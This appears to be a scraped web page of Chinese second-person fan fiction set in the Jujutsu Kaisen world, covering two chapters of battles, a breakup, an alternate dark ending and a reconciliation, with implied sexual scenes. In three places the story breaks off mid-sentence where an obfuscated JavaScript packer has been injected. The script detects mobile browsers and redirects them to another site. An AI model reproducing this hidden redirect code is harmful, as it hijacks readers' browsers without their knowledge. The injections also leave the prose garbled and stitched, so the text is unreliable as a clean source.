武功再高,也怕菜刀!你拔出爸爸刀斩落了第一刀后,真人惊恐地发现它无法愈合伤处。 尝尝我们狐狸家族的真理吧!攻守之势异也! 你燃烧着提升速度的符咒,举着爸爸刀对着真人狂追猛砍,它确实速度比你更快,可也真的惊慌失措,你的每一下攻击都能造成真实伤害,可他不管如何触碰你,你的灵魂都纹丝不动!这种不公平让战斗经验不足的真人彻底没招了。 “太恶心了你这个怪物!”它大喊一声将身体变小,想从角落的缝隙里溜走,可是爸爸刀明显不想让它活着离开,在你又一刀劈砍过去的同时,它如同有生命一般从你手中脱开,将小真人飞劈成了两半。 你意识到这是你今天祓除的第二只特级咒灵!你可太棒了!即使是借助了爸爸的力量,但那也是你爸爸啊! 你止住了东堂葵的血,但是恢复手臂对你来说有些难度,你让他快去找硝子医生看看能不能行。 “sister,你一个人没问题吗?”东堂葵知道这是最合理的选择,现在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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你表演完羞涩转移了他的注意力,然后默默展开了无咒力的环境,在场所有人变成普通人! 你这个施术者依然有咒力,可是因为维持这个环境需要非常精细的操作,你无法再使用岩浆攻击,万幸你有爸爸刀,它是妖刀,不受咒力规则影响! 里梅,也就是妹妹头第一时间感觉到了不对劲,作为受肉的他比谁都知道咒力的重要!反正这里和他的关系也不大,他拔腿就想跑,离开你的环境影响就能恢复咒力。 你一时间也无法顾及逃跑的妹妹头,因为‘夏油杰’带着装五条老师的盒子也转身就跑! 随着一声枪响,妹妹头应声倒地,追逐‘夏油杰’的你回头一看:是真依开枪了!! 没错!大家的下半身都被冻住,即使咒力消失了冰层也需要慢慢融化,可是真依的上半身能动啊! “真依!这个这个这个!”你边跑边指‘夏油杰’,“还有一个!” “没子弹了!”真依大喊。 “笨蛋!手搓一颗啊!!”你大喊回去。 “白痴!你把大家的咒力都关了啊!搓个头!”真依也急死了。 你语塞,咒术师的身份让你习惯用咒力解决问题,差点忘记了目前大家都处于无咒力状态。 你拔腿狂追!其实你考虑过将广域环境切换成针对‘夏油杰’的一束,但在切换的空隙时间他又会得到咒力,你担心那一瞬间他就有办法杀了你。 你眼看追不上,用尽全力投掷出爸爸刀,爸爸刀自动导航,劈断了‘夏油杰’的一条手臂! “机会来了!”众人期待地看向你! 你不负众望追上因伤趔趄的‘夏油杰’,随手操起掉落在侧的爸爸刀,准备将它细细砍成臊子,却不想‘夏油杰’本来就是个体术超强的男人,即使没有咒力,他也单手掐住了你的脖子,把你直接大力掀翻在地。 “浅川!”你已经听不清是谁在喊你了。 他的手大力收紧,几乎要把你的脖子捏爆,你想用咒力保护脖子,可是连呼吸都困难了。你的脸被掐得通红,几乎就要休克。 “本来想好好研究你的,看来没早点杀了你真是失策。”‘夏油杰’根本不在乎断了一条手臂,他的面目狰狞,完全看不出是个人类了。 你逐渐放弃抵抗,已经没有力气了,瞳孔也开始涣散,不知为什么,临死之前满脑子都是直哉金绿色的漂亮眼睛,是直哉浓稠的关西腔撒娇,是直哉温暖的怀抱……外公对不起啊,走马灯不是你。 “放开她!”你以为出现了幻觉,好像听到了直哉的声音。 在失去意识之前,你看到只剩下半张完好脸蛋的、如可怖怪物一般的直哉,他裸露着几乎露骨的破碎上半身,用前所未有的狠戾姿态,操起地上的爸爸刀朝着‘夏油杰’的脑袋重重劈砍去。 一个长着牙齿的脑花被劈成两半,落地挣扎了一下,很快不动弹了。 装着五条悟的盒子也应声落地。 ……稳了。 你恍恍惚惚听到直哉在叫你名字,模模糊糊中感觉到他为你人工呼吸,他大滴大滴的滚烫眼泪掉在你的脸颊上,你疲倦至极的闭上眼,只觉得好累好累,真的要休息了。 你和直哉都还活着,没有什么事情需要担心了。 睡醒再分手吧。 50.第 50 章 直哉是在和室的榻榻米上醒来的。 并不是他和你缠绵最久的卧室,而是用于医疗的功能房间。 他确实受了很重的伤,但这不是重点。 他有些惶恐地急急忙忙坐起身,发现只剩下了一只眼睛能视物,他用仅剩的眼睛焦急地找你,看到你穿着靛蓝色的和服跪坐在他的床头,小脸冷若冰霜,浑然没有重逢的喜悦。 他狂喜于你还活着,他想拥抱你,或是让你拥抱他。但是你没有说话,只是静静地看着他。 直哉当然知道你在生气,他本身就理亏。 “离……”他想温声呼喊你的名字,却听到自己沙哑的声音,好像被火烤过一般,看来声带也被灼伤了。 “直哉,你醒了。”你陈述事实一般,语气平淡,“硝子医生刚离开,你好些了吗?” “我没事,你怎么样……”直哉被你冰冷的语气吓得有些瑟缩,他知道你在积攒怒气,很快就要来一场大爆发,他有些期待地等待着靴子落地。 骂一顿打一顿,这件事就过去了… “你没事?”你嗤笑一声,“半张脸都毁了,一只眼球无法复原,半边身子虽然治好了,但是会留下永久的疤痕。” 直哉沉默地看着你,他知道你说的都是真的。开始高速思考,如何让你接受带着眼罩,变成独眼龙的他呢? “对了,直毘人没死,但是他宣布退休了,家主之位现在是伏黑惠的。”你嘴角带笑,“你不意外吧?本来就不如人家啊。” 虽然这是一个让人不快的消息,但是直哉早有心理准备,他闷闷地‘嗯’了一声。 “好了,你休息吧。”你拾起放在身边的爸爸刀,它也裹了胶带,降灵甚尔的那一拳实在是强劲,你都怕爸爸刀真的碎了。 “你要去哪里?”直哉急切地拉住你和服袖子的衣角,“离,别走,我很痛,能不能……陪陪我……” 他想撒娇的,但是声音实在是可怕,所以只能一个字一个字地往外蹦,避免说太多话让你更加生气。 “我去找五条悟。” “……什么?”他仿佛听不懂日语。 “我说,我去找五条悟。”你不动声色地将袖子从直哉的手中抽出,“我们分手了,禅院直哉。” “你说什么?”他有些愣愣地看向你依旧美丽如月光的小脸,很快就意识到这是你在闹脾气,和以往无数次一般,直哉伸手想来拉你,他要把你带到怀里禁锢住,亲你到你痒得发笑,让你软软倒在他的怀里,说刚才是开玩笑的。 但是你敏捷地躲开了。 “禅院直哉,本来我们就是因为条件匹配才交往的。你的脸漂亮,术式也不错,还是禅院的少主,和我半斤八两吧。现在你变成了一个怪物,又没当上家主,还差点把我和爸爸都害死了!你觉得,我是为什么要和你继续交往呀?你永远在崇拜甚尔,永远在怀疑五条悟,永远不能让我骄傲!我已经受够了!” 你的口齿清晰,条理更清楚:“禅院直哉,现在的你已经配不上我了。你确实救了我两次,一次从漏瑚的火焰下,一次从羂索的手下。” “羂索?”他愣愣地咀嚼着这个陌生的名字。 “是,夏油杰是羂索,或者说,有一个叫羂索的大脑占用了夏油杰的尸体,不过不重要了。谢谢你救了我,可是我无法再和你交往了,我现在找五条悟有点事,我要先离开了。” “不行!”直哉几乎是大喊出声,被火焰灼烧的喉咙让他的声音听起来像是地狱的恶鬼。他急躁地拉住你和服的裙摆,“我不允许!我不同意分手!只要我还活着,只要我还喘气,你只能是我的!我是你的,你也是我的,这一点不会因为任何而改变!” 他唯一完好的那只眼睛布满血丝,嘴角都因咬牙切齿而鲜血直流,他死死攥住你的裙摆,大有一副你敢走就鱼死网破的态势。 “分手不需要两人都愿意。”你依然保持着冷静,“放手,你现在放手,我们还可以是朋友。” “不行,不放!”直哉满脸泪水,他的姿态好像将死之人对死神哀求,浑身上下都在诉说着‘求你了’。 “不放也行,本来想等你身体再好一点再做的。”你叹气回头。 “什,什么?” 让禅院直哉万万没想到的是,你居然直接把他扑倒,做了你一直想做的事。 先提分手再做这样的事,实在是有些令人匪夷所思,但是你就是这样一个论外之女。 对此你和直哉都有一种非常新奇的感觉,即使只剩下了一只眼睛,他还是绯红着惨白的脸,病态一般迷恋地盯着你,不肯放过你的一丝表情。似乎是想由此确定你和他之间的连接还在,确认你还会因他而愉悦,确认你们依然好像共享一个灵魂,从身到心都绝对独占着对方。 “哈,好累。”你停下动作,潮红到妖冶的小脸上露出一丝嫌弃来,“原来就这样啊,早知道就不和你争了,也没什么好玩的。” 直哉本来就身体虚弱,硝子走之前又给他服了安睡的药,他想伸手把你拉回身边,就好像你们无数次满足后都蜷在对方怀里入睡,可是你脱开了他的手。 “再见了直哉,我去找五条悟了,你好好休息吧。” “不行!”他咬破嘴唇让自己保持清醒,“要走你就先杀了我。” 你沉默。 他死死盯着你。 你拔出爸爸刀指向他,他纹丝不动,毫无畏惧。 良久,你无奈叹气,收起爸爸刀,不再去看他:“我爸爸不让我杀人。” 你走了。 直哉想拉住你的衣角,可是拉不住,他像一条真正的狗一样匍匐在地,哀切地求你别走,眼泪流过脸上未愈的伤口,疼痛让他看起来比乐岩寺家那条你从小养大的老狗还要可怜。 他想站起来追你,腿一软却撞倒了屋子的屏风,他呻吟着一时起不来,你的身形顿了顿,却没有再回头。 …… 之后的发展完全就是脱轨的列车。 当禅院直哉再次从地板上醒来,听到的是满屋子的喊打喊杀声,夹杂着尖叫和哀嚎,间或有求饶的哭喊。 他草草穿戴整齐,在廊下遇到了着急忙慌的禅院兰太。 “是真希!真希疯了!她把扇叔杀了。” “哈?扇和真希?他们是父女吧?”直哉浑浑噩噩地跟着兰太去向中庭,看到的就是满身烧伤的真希提着禅院甚一的头。 几个对话下来直哉明白了,禅院扇嫉妒真依因杀死特级咒灵而被提为一级咒术师,将她骗回来杀了。真希现在是总监会的通缉犯,与她一起被通缉的还有被封印的五条悟和他的学生们,她回来是奉了新家主伏黑惠的命令来拿咒具的。 ‘阿离说去找五条悟,我还以为他已经解封了。’ ‘原来如此,她是去解封五条悟的……’ ‘抛下我,那么急吼吼的去帮助五条悟吗……’ ‘她帮助五条悟,会不会也被总监会通缉啊?’ ‘不至于,不至于,除非乐岩寺死了……’ 他并没有太多时间思考,面门处就迎来了真希的拳风,直哉本能地迎击自己的堂妹,几个回合下来他发现她身上残留的咒力已经被真依带走,进化成了完全体的天与咒缚,就像甚尔一样。 所以他禅院直哉,命中注定是要死于‘天与咒缚’的吗? 在被砸进中庭地砖的那一秒,直哉只想到你不在这里,真是太好了。 …… 解封五条悟并不是一件容易的事情。 你的破解思路是使用无咒力环境,如同玩具车耗电一般慢慢将狱门疆的‘电力’耗尽,然后它会自动打开,可是使用无咒力环境本身就是一件很麻烦的事情,需要精细的操作,其难度不亚于无量空处。 但是又有什么办法呢? 伏黑甚尔和直毘人约定,一旦五条悟失能,那么家主之位就将传给伏黑惠,如果……五条悟恢复认知能力,家主之位还是可以商量的吧? 抱着这样的想法,加上你与五条悟真实存在的情谊,你决定无论如何都要把他放出来。 直哉失去了你这样优秀的女朋友已经很可怜了,你觉得至少家主之位都得给他,不然他真的一无所有了。 根据天元大人所说,五条悟从狱门疆出来的时候很可能会精神失常变成怪物,所以你向夜蛾校长要了一间牢固性极强的密室。你和狱门□□处,房间内安装了监控,高专的同学们轮流在监控室待命,一旦出来的五条悟真的发疯,你需要用无咒力环境和爸爸刀保护自己直到有人来救你。 你倒不太指望他们,只紧紧握住了爸爸刀,只有爸爸和外公才是最可靠的! 在漫长的等待中,你无数次想起直哉,他会哭吗,他一个人在干什么呢,他会不会摔东西,他想我吗?应该是想的吧。他恨我吗?不至于吧…… 你抱着狱门疆,全神贯注地维持着咒力输出,过了不知多久的时间,你累得眼睛都要张不开了,狱门疆终于松动,它从内部开始崩塌。 “哇哦……离,真的是你。” 五条悟巨大的身体重重地压在了你的身上,他看你面色绯红,在重获自由的喜悦下忍不住嘴贫:“离离怎么脸红了?看到老师那么高兴吗?哎呀,这样的救命之恩,老师不如以身相许吧?” “五……五条老师……你压断我的肋骨了。” “啊……抱歉。” 五条悟将差不多是个死猫的你轻松抱起:“和老师回高专?” “我回京都。”你用尽力气说完这四个字,脑袋一歪就陷入了深度睡眠。 …… 待你再醒来的时候,时间不知过去了多久,五条悟坐在你的床头,他没有戴墨镜,那双海洋一般的美丽眼睛注视着你的脸,一瞬不错地专注看你。 “五条老师……我睡了多久?”你有些急切地问,“直哉呢?” “离,你冷静下来听我说,你昏迷了两周,这期间发生了很多事……” 五条悟娓娓道来,在你昏睡中,禅院家被屠得一干二净,直哉也死了。 你完全愣住,许久才找回自己的声音:“是……是谁干的?” “禅院真希,她把所有禅院都杀了,包括住到东京的禅院直毘人,和当天不在家的所有禅院,哦,俊彦没事,他不在日本……不过你不用去报仇。”五条悟的声音很是疲惫,“她也死了。” 你惊讶地看向五条悟,等他给出进一步的解释,你不觉得是五条悟‘大义灭亲’,他不是那么干脆的人,他其实很心软。 “禅院直哉变成了特级咒灵,它找到真希复仇……当时真希正好和宪纪在一起。真希说他是巨婴,他说真依死了长不大,到这里都还是正常的,一直到真希说……” 你好像在听天书,你无法想象你的直哉变成咒灵,你睁着大大的圆眼睛,呆呆地看着五条悟。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17208577|194870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “真希说,全东京校的人都看到我压在你的身上,而你没有反抗。”五条悟艰难地组织着语言,他的脸上没了以前的轻松从容,只剩下凝重,“直哉的咒灵立刻进化,然后杀死了真希,它没杀宪纪,但是把惠杀了。” “你……你没祓除它吗?”你不敢置信地看向五条悟,伏黑惠可是他的养子,他不做点什么吗? “直哉的咒灵杀不死,不管被祓除多少次都会重生。”五条悟面色凝重地看向你,“只有你可以真的把它祓除,因为你是它的执念。” 你沉默,失去爱人后还要再次将他杀死吗? “离,再帮助老师一次吧?” “……嗯。” …… 当见到咒灵直哉的时候,你几乎失去了语言的能力,俊美非凡的翩翩青年变成了一只巨大的怪物,他那双美丽傲慢的金绿色眼睛也变成了无机质的古怪虫卵,一眨一眨地盯着你和五条悟所站的位置。 【离,到我身边来。】 你往五条悟身后退了一步。 【离,我已经把禅院杀光了,现在只剩下我的妻子,也就是你了。】 【离,快过来,我给你个痛快。】 “禅院直哉,我叫什么名字?”你掐着手心,避免眼泪掉下,失了气势。 你知道眼前的怪物已经不是直哉,严格说来这是直哉执念的聚合,因为真正的直哉不会想杀你的。 【浅川……浅川离。】 “那我姓什么?” 【浅川……啊啊啊!你敢戏弄我!我杀了你!】 “五条老师,你快动手吧,我来补刀,我完成最后一击就行了吧?”你握紧了爸爸刀。 五条悟神色复杂地看了你一眼,然后对着狂暴的咒灵直哉发出一击‘茈’。 …… 三年后。 白发的高大美男子步态闲适地走进海边的咖啡厅,风铃乱撞,他一秒钟就找到了目标,大跨步走到你的身边坐下。 “离,三年没见了~看起来过得不错嘛。”他拿起你的咖啡就喝,无视你丈夫的黑脸。 “五条老师,你千里迢迢来找我,是有什么事吗?”你的容貌和三年前别无二致,岁月并不会给你带来什么改变,你微笑看着五条悟,等他说明来意。 “哇哦,带着外公和心爱的艺术家丈夫在海边小城甜甜蜜蜜,离都忘记高专的大家了吧?是这样的,那个终于还是出来了。” “哦?”你记得当时把宿傩手指都交给了夜蛾校长,看来高专忌库又失窃了呀。 “老师想借助离的力量,和老师回东京吧?” “五条……”你的丈夫禅院俊彦露出了非常不耐的表情,“我的妻子已经不是咒术师了,咒术界的事情能不能不要来找她?” “俊彦也是运气好呢,当时正好在马来西亚办展,没有被真希或直哉杀掉。”五条悟似是发自真心,“现在你不但继承了禅院的财产,还抱得美人归,直哉的在天之灵好可怜啊。” “五条悟!你……”俊彦那张美丽的脸都要绷不住了,他当然知道自己打不过五条悟,可是生气还是要生的,特别是当五条悟提到‘直哉’二字,他特别生气! “五条老师,我怀孕了,这次就不去了吧?我可以把爸爸刀借给你,你让七海先生帮忙还回来就行,反正他很喜欢来马来西亚度假。”你好像有准备一般,将装着爸爸刀的盒子放到了桌上。 “哇哦?是谁的?”五条悟飞快地扫了一眼你微微隆起的肚子。 “当然是我的!五条悟,你适可而止一点!”俊彦几乎要坐不住了,想起身却被你按住。 “五条老师真会开玩笑呀。”你将爸爸刀的盒子往他的手边推了推。 “真的不是直哉的吗?”五条悟盯着俊彦那张和直哉趋近于一致的脸,露出意味深长的笑容。 “五条老师,你可以包容夏油杰经营盘星教十年,也可以包容禅院真希屠杀禅院满门,那么……现在也请一样对我吧。”你心平气和地说着,“我和俊彦会好好过日子,不会再伤害其他无辜之人了。” 五条悟不语,只是用海蓝色的美丽眼睛深深凝望着你。 许久,久到空气都有些浑浊,他终于笑了,空气又流动了起来。 “离离帮助了老师那么多,老师当然会祝福你们的。” …… 五条悟拿着爸爸刀结账离开。 “可恶的五条悟,喂,离,我们就这样把爸爸借给他了吗?”俊美青年面露不悦,小狗龇牙,“便宜他了。” “嗯,爸爸刀对他有帮助,我好歹也算人类,肯定是希望高专获胜。我们现在的生活也有胀相的功劳,是他完完整整地告诉了我受肉的情报,帮助高专也是帮助他和虎杖。” “……离,你说的怀孕是真的吗?我要当爸爸了吗?” “噢,纸巾。”你从衣服里拿出一包200抽的纸巾丢给他。 “哈?!你,你……” “就是个请假理由罢了,不要在意这种细节。” “哼……” “好了,外公的吉他教室应该下课了,我们去接他吧?” “噢,对了,离,我们能不能把你那张油画丢掉啊?我看了不爽!” “那可是你的‘遗作’呢,丢了多可惜。” “哼……坏猫。”他揽住你的腰。 你们走向屋外,也走向一个永恒的未来。 51.第 51 章 直哉猛然从梦中惊醒。 被分手,被杀死,变成咒灵,报仇,被祓除,被做成咒物,被受肉……海量的信息让他头痛欲裂。 可是他没有时间顾及头疼这样的小事了! 他惊恐地抬头,看到你穿着靛蓝色的和服跪坐在他的身侧,小脸冷若冰霜,仿佛下一秒就要提分手。和恐怖梦境如出一辙的装扮让他几乎吓得魂不附体。 “你……”你的话还没说出口,直哉已经从你身侧跑了出去。 你震惊看着他的身影,想到他受了重伤,下意识地就起身追上。 咒具库边上的庭院,禅院扇挥刀朝真依的身上劈砍而去,口中喃喃自语:“你们两个没用的东西让我丢了一辈子的人,现在真希惹恼了总监部,你又用一级的身份在我面前耀武扬威!这样来报仇的女儿我不如亲手……” 他的话没来得及说完,如一阵风一样赶来的直哉已经一拳打在了他的心脏上,这一拳力道极大,生生将他的心脏震得四分五裂。 他不可置信地想回头去看凶手的脸,心脏的破碎却让他没有力气再做任何动作,一个呼吸之间,便直挺挺倒在了真依的脚下。 一切都发生在电光火石之间,你赶到的时候,看到的就是目瞪口呆的真依和喘着粗气的直哉,还有地上扇死不瞑目的尸体。 …… “所以,爸爸他…是心脏病突发了吗?”奉伏黑惠的命令回家拿咒具的真希,推了一下眼镜,看向在场众人。 “嗯。”真依心虚目移。 直哉抱臂,拙劣地强行转移话题:“还能有什么别的原因吗?倒是你,本来小脸还挺好看的,现在毁容了,以后怎么办哦,还有什么打算吗?继续做惠的跟屁虫吗?” 你有些沉默地站在禅院们的身边,总觉得直哉现在怪怪的。 他好像极力在维持着傲慢不可一世且恶劣的形象,但是表演痕迹很重,在演一个满不在乎,在演他还是那个禅院嫡子,禅院直哉。 “什么?你这个毁容了的独眼龙有什么资格说我?”真希反唇相讥,“先考虑考虑你的漂亮女朋友会不会离开你吧!” 你默默跟着直哉回到他的院子,扇的后事自有他两个女儿和妻子操办,直毘人已经搬去东京和柚木女士同住了,以后估计也不会管禅院的烂摊子,为爱离家出走老年人版。 “直哉,我要分手。”回到直哉的卧室,你垂头不去看他可怕的脸和衣服遮掩下的烧伤,说出这句话的之前,你就预感他会激烈反抗。 其实你怒气最高的时候是他醒来的那一刻,现在好像没有那么生气了,不过还是很生气的,分手还是必须的。 “我不同意分手,我会等你回来。对了,你不是一直想在上面吗?”他居然是平静的语气。 “要做吗?”他用完好的眼睛坦然地看向你。 “哈?”这下轮到你震惊了。 你确实有这个想法,在分手前得试试看在上是什么感受,既然他都同意了,所以你真的试了一下。 没有想象中的舒服,还有点累,还是躺着更舒服一点。 不过这都无所谓了,反正分手了,以后也不会有机会比较了。你气喘吁吁地整理着自己的衣襟,直哉一直在看你,不知道他的心里在想什么东西。 你考虑过分手这个惩罚对直哉来说是不是太重了。 但是一想到他对伏黑甚尔的优柔寡断,差点把你和爸爸都害死,你又觉得分手都便宜他了,应该揍他一顿再分手才对,都怪他! 为了一个死了十多年的堂兄差点害死女朋友一家,为了证明自己的力量罔顾在场那么多人的生命…禅院直哉简直是罪该万死! 但是…他身上的烧伤,是为了救你…… 快被羂索掐死的时候,也是他救了你…… 穿戴整齐的你尽量保持着面部表情的冷硬,对直哉说你要去找五条悟了,分手了,再见了直哉。 “我会等你的。”他膝行到你的身边,虔诚地拉住你的手,往完好无损的那边脸贴了贴,用仍然美丽的那只眼睛,好像可怜小狗一样祈求地注视着你。 虽然直哉的声带也被火焰灼伤了,但你听在耳里却和以前没有什么两样,因为他这副可怜兮兮又懂事的样子,你的心变得酸酸软软的。 …… 你在高专密室里连续不断地用无咒力环境救出了五条悟,‘破壳而出’的他巨大的身体摔压在你身上,把你的肋骨都压断了。 他贴着你的耳朵问你要回高专吗,你说要回京都,天呐,即使是分手了,你还是想着直哉。 力竭的你陷入了长长的深度睡眠,完全人事不知,因为五条悟已经解封了,你睡得很安心。 等你再次醒来,看到直哉坐在你的床头,他穿着日常那身衬衫和射箭服,金发也打理好了,看起来精神很不错,他执着你的手,似乎一直在等你。 “直哉?”你有些疲劳地感受着身体的复苏,不敢扭头去看他如今残缺的脸。 他完好的部分依然是美丽的,可瞎了一只眼也是真的。 那些烧伤的疤痕已经淡了许多,并不是丑到没眼看,可是……他不再是那个细皮嫩肉的漂亮直哉了。 “离,我想你。”他伸手把灯关了,然后手脚并用地爬到你的床上,像个大型犬一样无限依赖地轻轻抱住你。 “我……”失去了光源,在看不到脸的情况下,直哉的拥抱和接触,还是让你怦然心动,就好像过去你们在一起的十几年一样。 他就这样长长久久地抱着你,你闻着他发丝间熟悉的香味,迷迷糊糊又搂着他睡着了。 …… 直哉变得很自觉。 在白天他绝对不会来打扰你,基本上处于一个和你绝不见面的状态,虽然他会不断用手机给你发信息和打电话,但是你见不到他本人。 等夜幕降临他就如同吸血鬼一样翻进你的卧室,在绝对黑暗的情况下和你缠绵悱恻。你的要求他通通满足,之前死活不肯在下的大少爷,甚至变着花样的取悦你,不管做什么他都可以,别说当你的小狗了,你想干什么都没问题!主打一个逆来顺受,主动服务,花样百出,姿态几乎低到尘埃里,满心满眼都是如何讨好你。 作为他的青梅竹马你都心疼了!你甚至想摇晃着他的肩膀大喊,直哉你清醒一点,你是人!虽然心理上你感觉到了不适,但是生理上又觉得这样也挺好…就很矛盾! 但是你的主意依然没有改变:你,浅川离,毋庸置疑的特级咒术师!绝世大美女!年轻有为!可不能有一个瞎了眼的男朋友呀! 关了灯确实不妨碍,但是直哉这样子,以后怎么带的出去呢……真是的,直哉以前只有容貌可以让你在外人面前昂首挺胸,现在连这个优点都没有了! 你沉溺于和直哉十几年的情分,又被他全心全意的讨好取悦,这导致你迟迟没有真的和他分手,他仍然以你的男朋友自居。这让你感觉到一种当断不断的困扰。 你将这个烦恼告诉了五条老师,今天的他没有戴墨镜,只托腮望着你,他天空一样蓝的眼睛美丽得一塌糊涂,嘴唇也莹润Q弹,他本来就比直哉更漂亮,此刻更是美如天使,不开口的他真的是绝美… 他是最强的。 他还是五条家主。 ‘真好看啊,五条老师。’你有些意动。 他当然知道你在想什么,伸出大手轻而易举地把你捞到腿上,又按住你的肩膀,即使你浑身僵硬,他还是低头吻了上来。 你下意识伸手,猫猫推脸。 五条悟也不恼,他恶作剧一般地轻笑,又一次吻上来。 猫猫推脸。 这样重复了五六次,你好像知道自己的心意了。 在五条悟意味深长的注视下,你红着脸匆匆告辞。 … 夜晚直哉发现你特别热情,像一只真正的猫一样对他又亲又抱,闻来闻去后轻轻咬着他的脖子,主打一个爱不释手!你们的关系好像回到了在一切发生之前,他想休息一分钟你都不让他走,箍住他的脖子疯狂撒娇,猫猫咪咪的,简直是一只粘人小猫! “坏猫……”对于你的热情。他当然是非常高兴的,捧着你的脸又是一顿狂亲。之前他觉得叫爱人honey有点腻味,现在却觉得实在是贴切,你就是一块黏黏糊糊的滚烫小蜜糖,黏在他的身上让他感受到无比熨贴。 在气氛无限粘稠的时候,你‘啪嗒’一声打开了床头的灯。 直哉好像和被辐射到一般,吓得赶紧从你身上跳开,立时就想用投射咒法的速度落荒而逃。他害怕你看到他的脸后露出厌恶的表情,然后又决然提分手。 没想到你却一把摁住了他,爬到他身上压住不让跑,琥珀色的眼睛蜜糖一般黏着注视着他惊惶的半张美人脸。 “不用关灯了。” “什…什么?” “直哉,我……我接受了,你赢了!” 虽然有点被睡服的嫌疑,但是你对直哉的爱也是真的。 直哉惊愕到失语,然后激动地掉下了眼泪。 他哭的乱七八糟、一塌糊涂,一边哭一边紧紧抱住你,差点把你的肋骨再次绷断。 “直哉,我喘不过气…放……开……” “不行!离,我不会再放开你这只最最最坏的坏猫了。”直哉搂着你狂掉眼泪,看起来要多可怜有多可怜!你都心疼了但是…… “我的肋骨……刚接好……要断了……” 禅院的基因就是这点不好,一个个光长个子不长脑……你没有揶揄真依的意思哈。 …… 除开你们二人震撼的重修于好,禅院那一家子的事情也有些神发展。 伏黑惠打死不肯做家主,留在东京绝不挪动一步,禅院家的任何电话他都不接,逼急了他就说自己姓伏黑,请禅院不要再骚扰一个伏黑了!再打来他要报警了!!他也真的报警了,理由是电话骚扰,禅院长老还去警局登记了一下情况… 禅院直毘人带着巨额的私人积蓄,在东京的温柔乡里醉生梦死,即使身体已经康复了,有人问他就说差点被烧死还断了一只手,无力再做咒术师了。禅院?我已经为禅院辛苦一辈子了,饶了我吧? 真希说她目前连禅院直哉都打不过,回去闹笑话吗?然后把禅院长老的电话都拉黑,在那之前还嘲讽了一下长老进橘子的事情。 关于家主之位,没有人想到真依,只有你想着她,这只日常歪嘴的哼唧小猫。 扇的真实死因全禅院都知道,甚一和兰太都推举实力强大、一拳打死扇的直哉做家主,可直哉却说:“我结婚了,现在姓浅川。” 他的回答让甚一开始思考,禅院是不是有什么入赘基因啊…一个个都离不开女人… ……

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17208578|194870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 可喜可贺!你和直哉结婚了。 他入赘到你家却不肯姓乐岩寺,你外公本来就是很新潮的摇滚老炮儿,表示你爱姓什么关老夫屁事,你们小夫妻商量就好了。 于是他高高兴兴地跟你姓,考虑到直毘人的经验,他还拉着你去区役所填写了婚姻届,这样的话不管是在咒术界还是普通社会,你们都是无可置疑的夫妻,完全合理合法!再也不会有小人(俊彦)钻空子了! 浅川直哉,他觉得比禅院更雅致呢。 杀死特级咒灵漏瑚、杀死特级咒灵真人、杀死特级诅咒师羂索以及释放五条悟的功劳都记在了你的身上,虽然羂索是直哉杀的,但是直哉表示我们家是妻子做主,他的功劳就是你的。 你名正言顺的成为了特级咒术师。 当今只有三位特级,五条悟、九十九由基和你,乙骨的咒力消退,评级也回到了一级。 因为你是特级咒术师,又因为禅院家缺少一根主心骨,不知是哪个长老提出,禅院完全可以依附于浅川特级呀。我们的少主是浅川特级的丈夫,有打小的情谊,浅川特级可是在我们禅院长大的,总不能放任禅院不管吧? 于是作为乐岩寺的家主,你兼任了禅院的实际管理人,这并非你所愿望,但是也实在不忍心直哉的本家逐渐凋零。 成为家主后你颁布的第一条家主令便是解散躯俱留队,没有咒力的人爱干啥干啥,不需要成为禅院的耗材,想开飞机开坦克开房产中介都悉听尊便! 炳的术师和家族的女性也是一样,主打一个自由自在,爱干嘛干嘛,禅院这个家族不再需要他们的血肉供养,爱留下的留下,爱自由的就走吧。 你这样大刀阔斧的改革当然有许多反对的声音,但是在绝对的力量面前反对是无效的。更何况家族中最为年长的禅院长寿郎支持你,在你小时候他保护过你,现在也拥护着你,你就是一个很有老人缘的可爱小狐狸。 直哉对你的决策疯狂赞同,在他的那个‘梦境’中,躯俱留队的人被真希砍瓜切菜,死得飞快,几乎没有任何抵抗之力,死亡也毫无价值。根本没必要花钱保留这种无效的组织,弄得大家都不开心,怨气满满。 宪纪回到了加茂家,不过加茂家的人基本上都被真人转化成了怪物投入了涩谷事变,加茂家成了一个空壳子。现在家中就只剩下他和静母女,以及一些老仆。两姐弟互相推让了半天,最后静成为了加茂家新任家主,手下只有宪纪一人能用。因为家里也没什么人,更没什么事,他日常还是住在乐岩寺,陪着你外公下棋钓鱼。 对此直哉颇有微词,认为他想曲线救国,但是直哉也不敢大声嚷嚷,怕宪纪本来没有这个意思,被他提醒了反而产生了不该有的想法。 你外公有意退休,于是开始全力培养三轮霞和与幸吉,希望他们未来可以在总监部身居高位,也算是还有自己人留在高层,对你们,对五条悟都会有帮助。 乙骨忧太从国外回来,他说给你们带了伴手礼,你想着很久没有聚了,于是邀请他来乐岩寺宅聚餐。 三轮霞、与幸吉、加茂宪纪和你外公都在家,当然还有你的直哉。 